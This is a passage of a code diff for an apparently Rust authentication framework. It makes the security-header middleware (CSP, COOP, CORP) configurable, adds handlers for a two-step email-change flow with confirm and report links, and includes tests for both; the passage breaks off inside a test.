722 + let headers_cfg = std::sync::Arc::new(self.security_headers.clone());
688 723
689 724 let app = router.with_state(db).layer(
690 725 ServiceBuilder::new()
691 726 .layer(cors_layer)
692 - .layer(axum::middleware::from_fn(security_headers_middleware))
727 + .layer(axum::middleware::from_fn({
728 + let cfg = headers_cfg.clone();
729 + move |req, next| {
730 + let cfg = cfg.clone();
731 + async move { security_headers_middleware(cfg, req, next).await }
732 + }
733 + }))
693 734 .layer_fn(move |service| AdminService::new(service, db_for_admin.clone()))
694 735 .layer_fn(move |service| {
695 736 AuthService::new(service, db_for_auth.clone(), prefixes_for_auth.clone())
@@ -840,7 +881,17 @@ impl RustwardenBuilder {
840 881 }
841 882
842 883 /// SEC-H1: Middleware that adds standard security headers to every response.
843 -async fn security_headers_middleware(request: Request, next: Next) -> Response {
884 +///
885 +/// RFC 0039: the CSP (and opt-in COOP/CORP) come from the
886 +/// [`SecurityHeadersConfig`] captured as an `Arc` when the layer is built
887 +/// (see `RustwardenBuilder::build`). The config is deliberately NOT read
888 +/// from request extensions: this layer sits outside every `Extension(...)`
889 +/// layer, so extensions are not populated yet when the request passes here.
890 +async fn security_headers_middleware(
891 + cfg: Arc<SecurityHeadersConfig>,
892 + request: Request,
893 + next: Next,
894 +) -> Response {
844 895 let mut response = next.run(request).await;
845 896 let headers = response.headers_mut();
846 897 headers.insert(
@@ -864,13 +915,46 @@ async fn security_headers_middleware(request: Request, next: Next) -> Response {
864 915 HeaderName::from_static("permissions-policy"),
865 916 HeaderValue::from_static("camera=(), microphone=(), geolocation=()"),
866 917 );
867 - // SEC-FIX: CSP header to mitigate XSS attacks
868 - headers.insert(
869 - HeaderName::from_static("content-security-policy"),
870 - HeaderValue::from_static(
871 - "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-ancestors 'none'; base-uri 'self'; form-action 'self'"
872 - ),
873 - );
918 + // SEC-FIX: CSP header to mitigate XSS attacks. Value comes from the
919 + // configured policy; an invalid header value (e.g. control characters)
920 + // falls back to the 1.0.1 default instead of panicking (RFC 0039).
921 + let csp = HeaderValue::from_str(cfg.content_security_policy.as_ref()).unwrap_or_else(|_| {
922 + tracing::warn!(
923 + "Invalid Content-Security-Policy value in SecurityHeadersConfig; \
924 + falling back to the default policy"
925 + );
926 + HeaderValue::from_static(DEFAULT_CONTENT_SECURITY_POLICY)
927 + });
928 + headers.insert(HeaderName::from_static("content-security-policy"), csp);
929 + // RFC 0039: opt-in cross-origin isolation headers. `None` (the default)
930 + // means the header is not emitted at all; a malformed value is skipped
931 + // with a warning rather than failing the response.
932 + if let Some(coop) = cfg.cross_origin_opener_policy.as_deref() {
933 + match HeaderValue::from_str(coop) {
934 + Ok(val) => {
935 + headers.insert(HeaderName::from_static("cross-origin-opener-policy"), val);
936 + }
937 + Err(_) => {
938 + tracing::warn!(
939 + "Invalid Cross-Origin-Opener-Policy value in SecurityHeadersConfig; \
940 + header skipped"
941 + );
942 + }
943 + }
944 + }
945 + if let Some(corp) = cfg.cross_origin_resource_policy.as_deref() {
946 + match HeaderValue::from_str(corp) {
947 + Ok(val) => {
948 + headers.insert(HeaderName::from_static("cross-origin-resource-policy"), val);
949 + }
950 + Err(_) => {
951 + tracing::warn!(
952 + "Invalid Cross-Origin-Resource-Policy value in SecurityHeadersConfig; \
953 + header skipped"
954 + );
955 + }
956 + }
957 + }
874 958 // SEC-FIX: HSTS conditioned on APP_DEBUG=false (production mode) instead of COOKIE_SECURE
875 959 if !std::env::var("APP_DEBUG")
876 960 .unwrap_or_default()
@@ -958,4 +1042,196 @@ mod builder_tests {
958 1042 let builder = RustwardenBuilder::default().register_protected_prefix("/custom");
959 1043 assert!(builder.protected_prefixes.iter().any(|p| p == "/custom"));
960 1044 }
1045 +
1046 + #[test]
1047 + fn default_builder_uses_default_security_headers() {
1048 + let builder = RustwardenBuilder::default();
1049 + assert_eq!(
1050 + builder.security_headers.content_security_policy,
1051 + DEFAULT_CONTENT_SECURITY_POLICY
1052 + );
1053 + assert!(
1054 + builder
1055 + .security_headers
1056 + .cross_origin_opener_policy
1057 + .is_none()
1058 + );
1059 + assert!(
1060 + builder
1061 + .security_headers
1062 + .cross_origin_resource_policy
1063 + .is_none()
1064 + );
1065 + }
1066 +
1067 + #[test]
1068 + fn security_headers_setter_overrides_config() {
1069 + let builder = RustwardenBuilder::default()
1070 + .security_headers(SecurityHeadersConfig::default().with_same_origin_isolation());
1071 + assert_eq!(
1072 + builder
1073 + .security_headers
1074 + .cross_origin_opener_policy
1075 + .as_deref(),
1076 + Some("same-origin")
1077 + );
1078 + }
1079 +}
1080 +
1081 +/// HTTP-level tests for `security_headers_middleware` (RFC 0039 testing
1082 +/// plan). The middleware is intentionally private to this module, so these
1083 +/// integration-style tests (axum `Router` + `tower::ServiceExt::oneshot`,
1084 +/// same pattern as `tests/csrf_protection.rs`) live in the crate's unit
1085 +/// test tree instead of `tests/`.
1086 +#[cfg(test)]
1087 +mod security_headers_middleware_tests {
1088 + use super::*;
1089 + use axum::body::Body;
1090 + use axum::http::Request as HttpRequest;
1091 + use std::borrow::Cow;
1092 + use tower::ServiceExt; // for `oneshot`
1093 +
1094 + /// Build a minimal router wired exactly like `RustwardenBuilder::build`:
1095 + /// the config is captured in the `from_fn` closure as an `Arc`.
1096 + ///
1097 + /// Negative control for the `Extension` trap (RFC 0039): NO
1098 + /// `axum::Extension(cfg)` layer is added anywhere here. In production the
1099 + /// security-headers layer is more external than every `Extension(...)`
1100 + /// layer, so `request.extensions()` would always come back empty for it —
1101 + /// the `Arc` capture below is the only supported wiring, and these tests
1102 + /// prove it works without any extension being injected.
1103 + fn test_router(cfg: SecurityHeadersConfig) -> Router {
1104 + let headers_cfg = std::sync::Arc::new(cfg);
1105 + Router::new()
1106 + .route("/", axum::routing::get(|| async { "ok" }))
1107 + .layer(axum::middleware::from_fn({
1108 + let cfg = headers_cfg.clone();
1109 + move |req, next| {
1110 + let cfg = cfg.clone();
1111 + async move { security_headers_middleware(cfg, req, next).await }
1112 + }
1113 + }))
1114 + }
1115 +
1116 + async fn get_root(router: Router) -> Response {
1117 + let req = HttpRequest::builder()
1118 + .uri("/")
1119 + .body(Body::empty())
1120 + .expect("request");
1121 + router.oneshot(req).await.expect("oneshot")
1122 + }
1123 +
1124 + #[tokio::test]
1125 + async fn default_config_emits_legacy_csp_and_no_coop_corp() {
1126 + let resp = get_root(test_router(SecurityHeadersConfig::default())).await;
1127 + let headers = resp.headers();
1128 + assert_eq!(
1129 + headers
1130 + .get("content-security-policy")
1131 + .expect("csp header present"),
1132 + DEFAULT_CONTENT_SECURITY_POLICY
1133 + );
1134 + assert!(headers.get("cross-origin-opener-policy").is_none());
1135 + assert!(headers.get("cross-origin-resource-policy").is_none());
1136 + }
1137 +
1138 + #[tokio::test]
1139 + async fn same_origin_isolation_emits_all_three_headers() {
1140 + let cfg = SecurityHeadersConfig::default().with_same_origin_isolation();
1141 + let resp = get_root(test_router(cfg)).await;
1142 + let headers = resp.headers();
1143 + assert_eq!(
1144 + headers
1145 + .get("content-security-policy")
1146 + .expect("csp header present"),
1147 + DEFAULT_CONTENT_SECURITY_POLICY
1148 + );
1149 + assert_eq!(
1150 + headers
1151 + .get("cross-origin-opener-policy")
1152 + .expect("coop header present"),
1153 + "same-origin"
1154 + );
1155 + assert_eq!(
1156 + headers
1157 + .get("cross-origin-resource-policy")
1158 + .expect("corp header present"),
1159 + "same-origin"
1160 + );
1161 + }
1162 +
1163 + #[tokio::test]
1164 + async fn invalid_csp_falls_back_to_default_without_panicking() {
1165 + let cfg = SecurityHeadersConfig {
1166 + // `\n` is a control character: `HeaderValue::from_str` rejects it.
1167 + content_security_policy: Cow::Owned("default-src 'self'\n".to_string()),
1168 + ..SecurityHeadersConfig::default()
1169 + };
1170 + let resp = get_root(test_router(cfg)).await;
1171 + assert_eq!(
1172 + resp.headers()
1173 + .get("content-security-policy")
1174 + .expect("csp header present"),
1175 + DEFAULT_CONTENT_SECURITY_POLICY,
1176 + "invalid CSP must fall back to the 1.0.1 default"
1177 + );
1178 + }
1179 +
1180 + #[tokio::test]
1181 + async fn invalid_coop_is_skipped_but_csp_is_still_emitted() {
1182 + let cfg = SecurityHeadersConfig {
1183 + cross_origin_opener_policy: Some(Cow::Owned("same-origin\n".to_string())),
1184 + ..SecurityHeadersConfig::default()
1185 + };
1186 + let resp = get_root(test_router(cfg)).await;
1187 + let headers = resp.headers();
1188 + assert!(
1189 + headers.get("cross-origin-opener-policy").is_none(),
1190 + "malformed COOP must be skipped, not emitted"
1191 + );
1192 + assert_eq!(
1193 + headers
1194 + .get("content-security-policy")
1195 + .expect("csp header present"),
1196 + DEFAULT_CONTENT_SECURITY_POLICY
1197 + );
1198 + }
1199 +
1200 + /// Regression guard: the hardcoded headers untouched by RFC 0039 must
1201 + /// keep their 1.0.1 values whatever the configuration.
1202 + #[tokio::test]
1203 + async fn hardcoded_headers_are_unchanged() {
1204 + let resp = get_root(test_router(SecurityHeadersConfig::default())).await;
1205 + let headers = resp.headers();
1206 + assert_eq!(
1207 + headers
1208 + .get("x-frame-options")
1209 + .expect("x-frame-options present"),
1210 + "DENY"
1211 + );
1212 + assert_eq!(
1213 + headers
1214 + .get("x-content-type-options")
1215 + .expect("x-content-type-options present"),
1216 + "nosniff"
1217 + );
1218 + assert_eq!(
1219 + headers
1220 + .get("x-xss-protection")
1221 + .expect("x-xss-protection present"),
1222 + "0"
1223 + );
1224 + assert_eq!(
1225 + headers
1226 + .get("referrer-policy")
1227 + .expect("referrer-policy present"),
1228 + "strict-origin-when-cross-origin"
1229 + );
1230 + assert_eq!(
1231 + headers
1232 + .get("permissions-policy")
1233 + .expect("permissions-policy present"),
1234 + "camera=(), microphone=(), geolocation=()"
1235 + );
1236 + }
961 1237 }
A crates/rustwarden-core/src/auth/email_change_handlers.rs
+737 -0
@@ -0,0 +1,737 @@
1 +//! HTTP handlers for the two-step email change (RFC 0041).
2 +//!
3 +//! Five endpoints, all on the machine channel (never behind the CSRF layer):
4 +//!
5 +//! | Method | Path | Auth |
6 +//! |---|---|---|
7 +//! | `POST` | `/api/v1/auth/email-change` | Bearer |
8 +//! | `GET` | `/api/v1/auth/email-change/confirm/{token}` | public, **no side effect** |
9 +//! | `POST` | `/api/v1/auth/email-change/confirm/{token}` | public, applies the change |
10 +//! | `GET` | `/api/v1/auth/email-change/report/{token}` | public, **no side effect** |
11 +//! | `POST` | `/api/v1/auth/email-change/report/{token}` | public, records the report |
12 +//!
13 +//! Both emailed links land on a `GET` that only renders a form; it is the
14 +//! human click on that form that reaches the service. Anti-phishing gateways
15 +//! and mail clients prefetch links, so a `GET` that acted would let a scanner
16 +//! silently rewrite an account's login identity.
17 +//!
18 +//! The pages are built by the private `auth::email_change_pages` module: plain
19 +//! `format!`-built HTML, so mounting these routes never requires a UI crate.
20 +
21 +use axum::{
22 + Extension, Json,
23 + extract::{Path, State},
24 + response::Html,
25 +};
26 +use sea_orm::DatabaseConnection;
27 +use serde::{Deserialize, Serialize};
28 +use std::sync::Arc;
29 +use validator::Validate;
30 +
31 +use crate::auth::email_change_pages::{EmailChangePage, render};
32 +use crate::auth::extractors::AuthUser;
33 +use crate::config::email::EmailConfig;
34 +use crate::error::AppError;
35 +use crate::hooks::RustwardenHooks;
36 +use crate::i18n::extractor::Locale;
37 +use crate::i18n::service::I18nService;
38 +use crate::services::email_change_service::{EmailChangeLinkState, EmailChangeService};
39 +use crate::services::email_sanitization::mask_email;
40 +
41 +/// Body of `POST /api/v1/auth/email-change`.
42 +#[derive(Debug, Deserialize, Validate)]
43 +pub struct EmailChangeRequestPayload {
44 + /// Candidate address. Nothing is written to the account until the link
45 + /// mailed to it is confirmed.
46 + #[validate(email(message = "Invalid email format"))]
47 + pub new_email: String,
48 +
49 + /// Current password: opening a change is a re-authenticated operation, so
50 + /// a stolen access token alone cannot start an account takeover.
51 + #[validate(length(min = 1, message = "Current password is required"))]
52 + pub current_password: String,
53 +}
54 +
55 +/// Response of `POST /api/v1/auth/email-change`.
56 +#[derive(Debug, Serialize)]
57 +pub struct EmailChangeRequestResponse {
58 + /// Translated confirmation message for the end user.
59 + pub message: String,
60 + /// Candidate address, **masked**: the caller already knows what it typed,
61 + /// and a response body ends up in logs and proxies.
62 + pub pending_email: String,
63 +}
64 +
65 +/// Translate `key`, falling back to `fallback` without an [`I18nService`].
66 +async fn tr(i18n: Option<&Arc<I18nService>>, key: &str, locale: &str, fallback: &str) -> String {
67 + match i18n {
68 + Some(service) => {
69 + let value = service.translate(key, locale).await;
70 + // `I18nService::translate` echoes the key when it is unknown.
71 + if value == key {
72 + fallback.to_string()
73 + } else {
74 + value
75 + }
76 + }
77 + None => fallback.to_string(),
78 + }
79 +}
80 +
81 +/// Resolve the request locale, defaulting to the configured one.
82 +fn locale_of(locale: Option<Extension<Locale>>) -> String {
83 + locale
84 + .map(|Extension(l)| l.0)
85 + .unwrap_or_else(crate::config::tasks::default_locale)
86 +}
87 +
88 +/// Build the service, attaching i18n when the application provides it.
89 +fn service_from(i18n: Option<&Arc<I18nService>>) -> Result<EmailChangeService, AppError> {
90 + let config = EmailConfig::from_env().map_err(|e| {
91 + tracing::error!("Email configuration error: {}", e);
92 + AppError::Config(e)
93 + })?;
94 + let service = EmailChangeService::new(config);
95 + Ok(match i18n {
96 + Some(i18n) => service.with_i18n(Arc::clone(i18n)),
97 + None => service,
98 + })
99 +}
100 +
101 +/// Render a page that only explains why a link cannot be used — no form, so
102 +/// the visitor is never invited to submit a token that would be refused.
103 +async fn unusable_link_page(
104 + i18n: Option<&Arc<I18nService>>,
105 + locale: &str,
106 + state: EmailChangeLinkState,
107 +) -> Html<String> {
108 + let (key, fallback) = match state {
109 + EmailChangeLinkState::Expired => {
110 + ("email_change_page.error_expired", "This link has expired.")
111 + }
112 + EmailChangeLinkState::Used => (
113 + "email_change_page.error_used",
114 + "This link has already been used.",
115 + ),
116 + EmailChangeLinkState::Unknown => {
117 + ("email_change_page.error_invalid", "This link is invalid.")
118 + }
119 + // Not reachable through the callers, but fails closed: a usable link
120 + // reported as unusable costs a retry, never a wrong write.
121 + EmailChangeLinkState::Usable => (
122 + "email_change_page.error_generic",
123 + "This request could not be processed.",
124 + ),
125 + };
126 + Html(render(&EmailChangePage {
127 + lang: locale.to_string(),
128 + title: tr(
129 + i18n,
130 + "email_change_page.error_title",
131 + locale,
132 + "Unusable link",
133 + )
134 + .await,
135 + message: tr(i18n, key, locale, fallback).await,
136 + button: None,
137 + }))
138 +}
139 +
140 +/// `POST /api/v1/auth/email-change` — open a change request.
141 +///
142 +/// Re-authenticates with `current_password`, stores a pending request and
143 +/// queues two emails: the confirmation link to the candidate address, and a
144 +/// notice carrying a report link to the current one. `users.email` is **not**
145 +/// touched here.
146 +///
147 +/// # Errors
148 +///
149 +/// - [`AppError::Validation`] — malformed body, address already taken, or the
150 +/// address is the account's current one.
151 +/// - [`AppError::InvalidCredentials`] — wrong `current_password`.
152 +/// - [`AppError::TooManyRequests`] — more than three requests in an hour.
153 +/// - [`AppError::Config`] — no usable SMTP configuration.
154 +pub async fn request_email_change(
155 + State(db): State<DatabaseConnection>,
156 + i18n: Option<Extension<Arc<I18nService>>>,
157 + locale: Option<Extension<Locale>>,
158 + user: AuthUser,
159 + Json(payload): Json<EmailChangeRequestPayload>,
160 +) -> Result<Json<EmailChangeRequestResponse>, AppError> {
161 + payload.validate().map_err(|e| {
162 + tracing::warn!(user_id = %user.user_id, "Email-change request validation failed: {}", e);
163 + AppError::Validation(format!("Invalid email-change request: {e}"))
164 + })?;
165 +
166 + let i18n = i18n.map(|Extension(service)| service);
167 + let locale = locale_of(locale);
168 + let service = service_from(i18n.as_ref())?;
169 +
170 + service
171 + .request_change(
172 + &db,
173 + user.user_id,
174 + &payload.new_email,
175 + &payload.current_password,
176 + )
177 + .await?;
178 +
179 + Ok(Json(EmailChangeRequestResponse {
180 + message: tr(
181 + i18n.as_ref(),
182 + "email_change.request_accepted",
183 + &locale,
184 + "An email has been sent to your new address. The change will be applied once you \
185 + confirm it from that message.",
186 + )
187 + .await,
188 + pending_email: mask_email(payload.new_email.trim()),
189 + }))
190 +}
191 +
192 +/// `GET /api/v1/auth/email-change/confirm/{token}` — interstitial page.
193 +///
194 +/// Reads the token state and renders a form; it never writes. Always answers
195 +/// `200`, including for an unusable link: a human arriving from their mailbox
196 +/// deserves an explanation rather than a status code.
197 +pub async fn confirm_email_change_page(
198 + State(db): State<DatabaseConnection>,
199 + i18n: Option<Extension<Arc<I18nService>>>,
200 + locale: Option<Extension<Locale>>,
201 + Path(token): Path<String>,
202 +) -> Html<String> {
203 + let i18n = i18n.map(|Extension(service)| service);
204 + let locale = locale_of(locale);
205 +
206 + match EmailChangeService::inspect_confirmation_token(&db, &token).await {
207 + Ok(EmailChangeLinkState::Usable) => Html(render(&EmailChangePage {
208 + lang: locale.clone(),
209 + title: tr(
210 + i18n.as_ref(),
211 + "email_change_page.confirm_title",
212 + &locale,
213 + "Confirm your new email address",
214 + )
215 + .await,
216 + message: tr(
217 + i18n.as_ref(),
218 + "email_change_page.confirm_question",
219 + &locale,
220 + "You are about to replace the sign-in email address of your account. All your \
221 + active sessions will be closed.",
222 + )
223 + .await,
224 + button: Some(
225 + tr(
226 + i18n.as_ref(),
227 + "email_change_page.confirm_button",
228 + &locale,
229 + "Confirm the change",
230 + )
231 + .await,
232 + ),
233 + })),
234 + Ok(state) => unusable_link_page(i18n.as_ref(), &locale, state).await,
235 + Err(e) => {
236 + tracing::error!("Email-change token lookup failed: {}", e);
237 + unusable_link_page(i18n.as_ref(), &locale, EmailChangeLinkState::Usable).await
238 + }
239 + }
240 +}
241 +
242 +/// `POST /api/v1/auth/email-change/confirm/{token}` — apply the change.
243 +///
244 +/// Writes the new address already verified, revokes every refresh token and
245 +/// drops any pending password-change request. Renders the outcome as HTML:
246 +/// the caller is the interstitial form, not an API client.
247 +pub async fn confirm_email_change(
248 + State(db): State<DatabaseConnection>,
249 + i18n: Option<Extension<Arc<I18nService>>>,
250 + locale: Option<Extension<Locale>>,
251 + hooks: Option<Extension<Arc<dyn RustwardenHooks>>>,
252 + Path(token): Path<String>,
253 +) -> Html<String> {
254 + let i18n = i18n.map(|Extension(service)| service);
255 + let locale = locale_of(locale);
256 + let hooks = hooks.map(|Extension(hooks)| hooks);
257 +
258 + let service = match service_from(i18n.as_ref()) {
259 + Ok(service) => service,
260 + Err(e) => {
261 + tracing::error!("Email-change confirmation unavailable: {}", e);
262 + return unusable_link_page(i18n.as_ref(), &locale, EmailChangeLinkState::Usable).await;
263 + }
264 + };
265 +
266 + match service.confirm_change(&db, &token, hooks.as_ref()).await {
267 + Ok(_) => Html(render(&EmailChangePage {
268 + lang: locale.clone(),
269 + title: tr(
270 + i18n.as_ref(),
271 + "email_change_page.confirm_success_title",
272 + &locale,
273 + "Email address changed",
274 + )
275 + .await,
276 + message: tr(
277 + i18n.as_ref(),
278 + "email_change_page.confirm_success",
279 + &locale,
280 + "Your new address is active and verified. Your sessions were closed: sign in \
281 + again with this new address.",
282 + )
283 + .await,
284 + button: None,
285 + })),
286 + Err(e) => {
287 + tracing::warn!("Email-change confirmation failed: {}", e);
288 + // One extra indexed read to tell "expired" from "already used"
289 + // from "unknown": this path is rare and the message matters.
290 + let state = EmailChangeService::inspect_confirmation_token(&db, &token)
291 + .await
292 + .unwrap_or(EmailChangeLinkState::Usable);
293 + unusable_link_page(i18n.as_ref(), &locale, state).await
294 + }
295 + }
296 +}
297 +
298 +/// `GET /api/v1/auth/email-change/report/{token}` — interstitial page.
299 +///
300 +/// Read-only, exactly like the confirmation page: a prefetched report would
301 +/// wake every administrator for nothing.
302 +pub async fn report_email_change_page(
303 + State(db): State<DatabaseConnection>,
304 + i18n: Option<Extension<Arc<I18nService>>>,
305 + locale: Option<Extension<Locale>>,
306 + Path(token): Path<String>,
307 +) -> Html<String> {
308 + let i18n = i18n.map(|Extension(service)| service);
309 + let locale = locale_of(locale);
310 +
311 + match EmailChangeService::inspect_report_token(&db, &token).await {
312 + Ok(EmailChangeLinkState::Usable) => Html(render(&EmailChangePage {
313 + lang: locale.clone(),
314 + title: tr(
315 + i18n.as_ref(),
316 + "email_change_page.report_title",
317 + &locale,
318 + "Report a suspicious request",
319 + )
320 + .await,
321 + message: tr(
322 + i18n.as_ref(),
323 + "email_change_page.report_question",
324 + &locale,
325 + "You are about to alert the administrators about this email-change request. The \
326 + change will not be blocked by this report.",
327 + )
328 + .await,
329 + button: Some(
330 + tr(
331 + i18n.as_ref(),
332 + "email_change_page.report_button",
333 + &locale,
334 + "Alert the administrators",
335 + )
336 + .await,
337 + ),
338 + })),
339 + Ok(state) => unusable_link_page(i18n.as_ref(), &locale, state).await,
340 + Err(e) => {
341 + tracing::error!("Email-change report token lookup failed: {}", e);
342 + unusable_link_page(i18n.as_ref(), &locale, EmailChangeLinkState::Usable).await
343 + }
344 + }
345 +}
346 +
347 +/// `POST /api/v1/auth/email-change/report/{token}` — record the report.
348 +///
349 +/// Flags the request, writes an audit entry and alerts every administrator.
350 +/// It deliberately does **not** cancel the change: the mailbox that receives
351 +/// this link can alert, not decide.
352 +pub async fn report_email_change(
353 + State(db): State<DatabaseConnection>,
354 + i18n: Option<Extension<Arc<I18nService>>>,
355 + locale: Option<Extension<Locale>>,
356 + hooks: Option<Extension<Arc<dyn RustwardenHooks>>>,
357 + Path(token): Path<String>,
358 +) -> Html<String> {
359 + let i18n = i18n.map(|Extension(service)| service);
360 + let locale = locale_of(locale);
361 + let hooks = hooks.map(|Extension(hooks)| hooks);
362 +
363 + let service = match service_from(i18n.as_ref()) {
364 + Ok(service) => service,
365 + Err(e) => {
366 + tracing::error!("Email-change report unavailable: {}", e);
367 + return unusable_link_page(i18n.as_ref(), &locale, EmailChangeLinkState::Usable).await;
368 + }
369 + };
370 +
371 + match service.report_suspicious(&db, &token, hooks.as_ref()).await {
372 + Ok(_) => Html(render(&EmailChangePage {
373 + lang: locale.clone(),
374 + title: tr(
375 + i18n.as_ref(),
376 + "email_change_page.report_success_title",
377 + &locale,
378 + "Report sent",
379 + )
380 + .await,
381 + message: tr(
382 + i18n.as_ref(),
383 + "email_change_page.report_success",
384 + &locale,
385 + "The administrators have been notified. If you are not the origin of the request, \
386 + change your password right away.",
387 + )
388 + .await,
389 + button: None,
390 + })),
391 + Err(e) => {
392 + tracing::warn!("Email-change report failed: {}", e);
393 + let state = EmailChangeService::inspect_report_token(&db, &token)
394 + .await
395 + .unwrap_or(EmailChangeLinkState::Usable);
396 + unusable_link_page(i18n.as_ref(), &locale, state).await
397 + }
398 + }
399 +}
400 +
401 +#[cfg(test)]
402 +mod tests {
403 + use super::*;
404 + use crate::auth::auth_api_routes;
405 + use crate::models::{email_queue, pending_email_change, user};
406 + use axum::Router;
407 + use axum::body::Body;
408 + use axum::http::{Request, StatusCode};
409 + use chrono::Utc;
410 + use sea_orm::{ActiveModelTrait, ColumnTrait, EntityTrait, QueryFilter, QueryOrder, Set};
411 + use tower::ServiceExt;
412 + use uuid::Uuid;
413 +
414 + const PASSWORD: &str = "TestPassword1!";
415 +
416 + async fn test_db() -> DatabaseConnection {
417 + dotenvy::dotenv().ok();
418 + let url = std::env::var("DATABASE_URL")
419 + .expect("DATABASE_URL required for email_change_handlers tests");
420 + sea_orm::Database::connect(&url)
421 + .await
422 + .expect("connect to the test database")
423 + }
424 +
425 + fn email_config() -> EmailConfig {
426 + dotenvy::dotenv().ok();
427 + EmailConfig::from_env().expect("SMTP configuration required for these tests")
428 + }
429 +
430 + /// The four link routes carry no auth layer, so the router needs nothing
431 + /// but the database state — which is exactly the headless contract.
432 + fn app(db: &DatabaseConnection) -> Router {
433 + auth_api_routes().with_state(db.clone())
434 + }
435 +
436 + async fn body_of(response: axum::response::Response) -> String {
437 + let bytes = axum::body::to_bytes(response.into_body(), 64 * 1024)
438 + .await
439 + .expect("read body");
440 + String::from_utf8(bytes.to_vec()).expect("utf-8 body")
441 + }
442 +
443 + async fn verified_user(db: &DatabaseConnection) -> user::Model {
444 + let unique = Uuid::new_v4().simple().to_string();
445 + let hash = crate::services::password_service::PasswordService::hash_password(PASSWORD)
446 + .await
447 + .expect("hash password");
448 + let created = crate::services::user_service::UserService::create_user(
449 + db,
450 + format!("ech-{}", &unique[..9]),
451 + format!("ech-{}@example.test", &unique[..9]),
452 + hash,
453 + false,
454 + )
455 + .await
456 + .expect("create user");
457 +
458 + let mut active: user::ActiveModel = created.into();
459 + active.email_verified = Set(true);
460 + active.email_verified_at = Set(Some(Utc::now()));
461 + active.update(db).await.expect("mark verified")
462 + }
463 +
464 + /// Pull a link's token back out of a queued body, the way a human reads
465 + /// the mail and clicks.
466 + async fn token_from_mail(
467 + db: &DatabaseConnection,
468 + to_email: &str,
469 + email_type: &str,
470 + kind: &str,
471 + ) -> String {
472 + let mail = email_queue::Entity::find()
473 + .filter(email_queue::Column::ToEmail.eq(to_email))
474 + .filter(email_queue::Column::EmailType.eq(email_type))
475 + .order_by_desc(email_queue::Column::CreatedAt)
476 + .one(db)
477 + .await
478 + .expect("query email_queue")
479 + .unwrap_or_else(|| panic!("no {email_type} queued for {to_email}"));
480 +
481 + let marker = format!(
482 + "{}/api/v1/auth/email-change/{kind}/",
483 + email_config().email_base_url
484 + );
485 + let body = mail.body_text;
486 + let start = body
487 + .find(&marker)
488 + .unwrap_or_else(|| panic!("no {kind} link in body: {body}"))
489 + + marker.len();
490 + body[start..]
491 + .chars()
492 + .take_while(|c| c.is_ascii_alphanumeric() || *c == '-')
493 + .collect()
494 + }
495 +
496 + /// Open a real request through the service, then hand back the two tokens.
497 + async fn seed_request(db: &DatabaseConnection) -> (user::Model, String, String, String) {
498 + let user = verified_user(db).await;
499 + let candidate = format!("cand-{}@example.test", Uuid::new_v4().simple());
500 + EmailChangeService::new(email_config())
501 + .request_change(db, user.id, &candidate, PASSWORD)
502 + .await
503 + .expect("seed an email-change request");
504 +
505 + let confirm = token_from_mail(db, &candidate, "email_change_validation", "confirm").await;
506 + let report = token_from_mail(db, &user.email, "email_change_notice", "report").await;
507 + (user, candidate, confirm, report)
508 + }
509 +
510 + async fn pending_row(db: &DatabaseConnection, user_id: Uuid) -> pending_email_change::Model {
511 + pending_email_change::Entity::find()
512 + .filter(pending_email_change::Column::UserId.eq(user_id))
513 + .order_by_desc(pending_email_change::Column::CreatedAt)
514 + .one(db)
515 + .await
516 + .expect("query pending_email_changes")
517 + .expect("a pending row must exist")
518 + }
519 +
520 + async fn current_email(db: &DatabaseConnection, user_id: Uuid) -> String {
521 + user::Entity::find_by_id(user_id)
522 + .one(db)
523 + .await
524 + .expect("reload user")
525 + .expect("user still exists")
526 + .email
527 + }
528 +
529 + fn get(uri: &str) -> Request<Body> {
530 + Request::builder()
531 + .method("GET")
532 + .uri(uri)
533 + .body(Body::empty())
534 + .expect("GET request")
535 + }
536 +
537 + /// No CSRF header, no cookie: these routes live on the machine channel and
538 + /// the form the page renders carries no token either.
539 + fn post(uri: &str) -> Request<Body> {
540 + Request::builder()
541 + .method("POST")
542 + .uri(uri)
543 + .body(Body::empty())
544 + .expect("POST request")
545 + }
546 +
547 + // ── GET has no side effect ──────────────────────────────────────────────
548 +
549 + /// RFC 0041 test 18 — anti-phishing gateways prefetch links. A `GET` that
550 + /// acted would let a scanner silently rewrite an account's identity.
551 + #[tokio::test]
552 + async fn getting_the_confirm_page_renders_a_form_and_writes_nothing() {
553 + let db = test_db().await;
554 + let (user, candidate, confirm, _) = seed_request(&db).await;
555 +
556 + // Two GETs, as a gateway and the human would both do.
557 + for _ in 0..2 {
558 + let response = app(&db)
559 + .oneshot(get(&format!("/api/v1/auth/email-change/confirm/{confirm}")))
560 + .await
561 + .expect("oneshot");
562 + assert_eq!(response.status(), StatusCode::OK);
563 + let html = body_of(response).await;
564 + assert!(html.starts_with("<!DOCTYPE html>"));
565 + assert!(
566 + html.contains("method=\"post\""),
567 + "the page must offer a form, not act by itself"
568 + );
569 + assert!(
570 + !html.contains(&confirm),
571 + "the token travels in the URL, never in the body"
572 + );
573 + }
574 +
575 + let row = pending_row(&db, user.id).await;
576 + assert!(row.used_at.is_none(), "GET must not consume the request");
577 + assert_eq!(row.new_email, candidate);
578 + assert_eq!(
579 + current_email(&db, user.id).await,
580 + user.email,
581 + "GET must not move the address"
582 + );
583 + }
584 +
585 + /// RFC 0041 test 20 — same contract on the report link: a prefetch must
586 + /// not wake every administrator.
587 + #[tokio::test]
588 + async fn getting_the_report_page_renders_a_form_and_writes_nothing() {
589 + let db = test_db().await;
590 + let (user, _, _, report) = seed_request(&db).await;
591 +
592 + let response = app(&db)
593 + .oneshot(get(&format!("/api/v1/auth/email-change/report/{report}")))
594 + .await
595 + .expect("oneshot");
596 + assert_eq!(response.status(), StatusCode::OK);
597 + assert!(body_of(response).await.contains("method=\"post\""));
598 +
599 + let row = pending_row(&db, user.id).await;
600 + assert!(row.reported_at.is_none(), "GET must not file the report");
601 + assert!(row.used_at.is_none());
602 + }
603 +
604 + // ── POST acts ───────────────────────────────────────────────────────────
605 +
606 + /// RFC 0041 test 19 — the human click on the form is what applies the
607 + /// change, and it needs no CSRF token: machine channel, single-use secret.
608 + #[tokio::test]
609 + async fn posting_the_confirm_form_applies_the_change_without_a_csrf_token() {
610 + let db = test_db().await;
611 + let (user, candidate, confirm, _) = seed_request(&db).await;
612 +
613 + let response = app(&db)
614 + .oneshot(post(&format!(
615 + "/api/v1/auth/email-change/confirm/{confirm}"
616 + )))
617 + .await
618 + .expect("oneshot");
619 +
620 + assert_eq!(
621 + response.status(),
622 + StatusCode::OK,
